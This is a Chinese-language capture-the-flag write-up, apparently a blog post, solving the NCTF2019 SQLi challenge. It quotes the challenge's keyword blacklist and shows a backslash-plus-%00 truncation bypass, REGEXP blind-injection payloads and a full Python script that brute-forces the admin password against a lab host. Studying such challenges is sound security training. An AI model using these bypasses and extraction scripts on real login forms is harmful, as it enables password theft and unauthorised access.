[NCTF2019]SQLi

考察点

%00截断
regexp注入

猜测可能过滤了很多东西,经过信息收集发现存在robots.txt,里面写了hint.txt,里面的内容如下:

$black_list =/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00||=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i”;

If $_POST[‘passwd’] === admin’s password,

Then you will get the flag;

但是问题是过滤了# - '这三个东西,我们就没法将最后多出来的单引号给去掉。
发现了可以00截断。看了一下题目的环境:PHP/5.2.16
确实是存在00截断的php版本,因此利用00截断:

username=\&passwd=||(1);%00

regexp注入就类似于挨个比较吧,相等的时候返回true

例如搜索city表中name列开始位置含有连在一起的4位数字的所有信息

SELECT * FROM city WHERE name REGEXP '^[0-9]{4}';

构建语句

select * from users where username='' and passwd=''
username=\&passwd=||(passwd/**/regexp/**/"^y");%00
相等于select * from users where (passwd/**/regexp/**/"^y");

搜索是否有y开头的passwd,有就返回ture,没有就false。

注意再写python的时候传入%00不能直接传入,直接传会解码直接为空
parse.unquote('%00')url解码

import requests
import time
from urllib import parse
url="http://c8d16be7-b6ce-47a0-a700-1fc3769b84a9.node3.buuoj.cn/index.php"

name=""

s="qwertyuiopasdfghjklzxcvbnm_}{0123456789"
for i in range(1,300):
    for j in s:
        z=name+j
        payload="||passwd/**/regexp/**/\"^{}\";{}".format(z,parse.unquote('%00'))

        data={
            'username':'\\',
            'passwd':payload
        }

        r=requests.post(url,data=data)
        print(z)
        
        if "welcome" in r.text:
            name+=j
            break
    if "welcome" not in r.text:
        break   
	print(name)
print(name)

如果过滤双引号,就直接16进制绕就好了,^{}的内容16进制编码
然后输入密码即可

但是我有个问题就是为什么%00前面要加 ; 我们以前用#什么的注释后面前面也没加 分号呀,请大佬教教我。。。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值